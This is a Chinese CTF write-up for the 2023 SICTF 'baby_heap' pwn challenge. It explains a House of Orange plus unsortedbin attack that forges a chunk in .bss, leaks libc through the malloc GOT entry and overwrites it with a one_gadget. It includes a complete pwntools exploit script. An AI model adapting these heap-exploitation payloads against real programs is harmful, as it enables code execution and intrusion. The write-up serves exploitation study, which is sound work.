baby一点都不baby...houseoforange+unsortedbinattack

0x00 逆向分析

main函数很简单，1申请2编辑3打印，但是没有free，google'no free pwn'了解到有可能是houseoforange
add函数，两个约束（1. 最多申请32个chunk 2. chunk最大为0x1000），跟进chunk_size和chunk_ptr后发现两者在bss段挨得很近，所以这里其实可以伪造fake_chunk，后续可以考虑用fastbin attack或者unsortedbin attack来打（但这里没有free，就导致fastbin很难利用）
edit函数
show函数，只打印了8个字节就很难受

0x01 思路分析

我们肯定是要实现“leak libc”和“Any Address Write”
1. leak libc
  1. 思路1：unsortedbin leak
    1. 理论上可行，但由于show只打印八个字节，所以必须要把unsortedbin里的chunk申请出来再打印，这样就会浪费一个chunk，后续利用比较麻烦
  2. 思路2：在bss段伪造fake_chunk写入got表，直接write出来
2. Any Address Write
  1. 思路1：常规unsortedbin attack
    1. 比较麻烦，我的评价是不如unsortedbin申请fake_chunk
  2. 思路2：unsortedbin 申请 fake_chunk
    1. 将victim.bk设置为fake_chunk_head，申请两次即可获得
将写入的got表改写为og即可提权

0x02 具体步骤

由于add函数中，chunk_size会截断size，所以我们想要伪造0x111大小的chunk（Q1）的话，就必须要申请一个0x111，一个0x1大小的chunk才能正确伪造size段，而申请16个0x100大小的chunk是为了把0x4040c0-0x4040d0置零，即莫名其妙的八个字节（Q2）和fake_chunk的prev_size段
1
2
3
4
5
6
payload = '\x00'
for i in range(16):
alloc(0x100,payload) # chunk0 - chunk15

alloc(0x111,payload) # chunk16
alloc(1,payload) # chunk17

houseofOrange，此时unsortedbin中会有一个大小为0xdc0的chunk，记为victim

1
2
3

payload = b'\x00'*0x18 + p64(0xdc1)
edit(17, len(payload),payload)
alloc(0x1000,payload) #18

伪造victim.bk = 0x4040c8（fake_chunk_head）

1 2	payload = b'\x00'*0x18 + flat(0x111,b'deadbeef',0x4040c8) edit(17, len(payload),payload)

连续申请2个chunk，在chunk_ptr[0]的位置写入malloc_got，调用show函数中的write，即可获得libc

payload = 'a'
alloc(0x100,payload)
malloc_got = elf.got['malloc']
payload = p64(0) + p64(malloc_got)
alloc(0x100,payload)
dump(0)
libc_base = u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) - libc.sym['malloc']
print(f'libc_base   --->   {hex(libc_base)}')

调用edit函数，在chunk_ptr[0]指向的地址（即malloc的libc地址）写入og，调用malloc即可提权

print(f'libc_base   --->   {hex(libc_base)}')
one_gadget = [0x45226,0x4527a,0xf03a4,0xf1247]
payload = p64(libc_base + one_gadget[3])
edit(0,len(payload),payload)
io.sendlineafter('>', str(1))
io.sendlineafter('Size :', b'8')

0x03 一些问题

Q1：为什么必须要伪造0x111大小的chunk呢？
Q2：我感觉申请8个chunk就够了...把fake_chunk_head修改为0x4040c0也不是不行啊？

0x04 完整EXP

from pwn import *
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
file = './baby_heap'

# io = remote(domain_name,port)
io = process(file)

elf = ELF('./baby_heap')
libc = ELF('/mnt/e/EdgeDownload/glibc-all-in-one/libs/libc6_2.23-0ubuntu11.3_amd64/libc.so.6')

# --------------------------------------------------------
def alloc(size,content):
  io.sendlineafter('>', str(1))
  io.sendlineafter('Size :', str(size))
  io.sendlineafter('Content :', content)
  
def edit(index,size,content):
  io.sendlineafter('>', str(2))
  io.sendlineafter('Index :', str(index))
  io.sendlineafter('Size :', str(size))
  io.sendafter('Content :', content)
  
def dump(index):
  io.sendlineafter('>', str(3))
  io.sendlineafter('Index :',str(index))
# --------------------------------------------------------
payload = '\x00'
for i in range(16):
  alloc(0x100,payload) # chunk0 - chunk15

alloc(0x111,payload)   # chunk16
alloc(1,payload)       # chunk17
payload = b'\x00'*0x18 + p64(0xdc1)
edit(17, len(payload),payload)
alloc(0x1000,payload) #18
payload = b'\x00'*0x18 + flat(0x111,b'deadbeef',0x4040c8)
edit(17, len(payload),payload)
# gdb.attach(io)
payload = 'a'
alloc(0x100,payload)
malloc_got = elf.got['malloc']
payload = p64(0) + p64(malloc_got)
alloc(0x100,payload)
dump(0)
libc_base = u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) - libc.sym['malloc']
print(f'libc_base   --->   {hex(libc_base)}')
one_gadget = [0x45226,0x4527a,0xf03a4,0xf1247]
payload = p64(libc_base + one_gadget[3])
edit(0,len(payload),payload)
# gdb.attach(io)
io.sendlineafter('>', str(1))
io.sendlineafter('Size :', b'8')

io.interactive()

HeyGap's_Blog

comp - 2023SICTF-Pwn-baby_heap-wp

0x00 逆向分析

0x01 思路分析

0x02 具体步骤

0x03 一些问题

0x04 完整EXP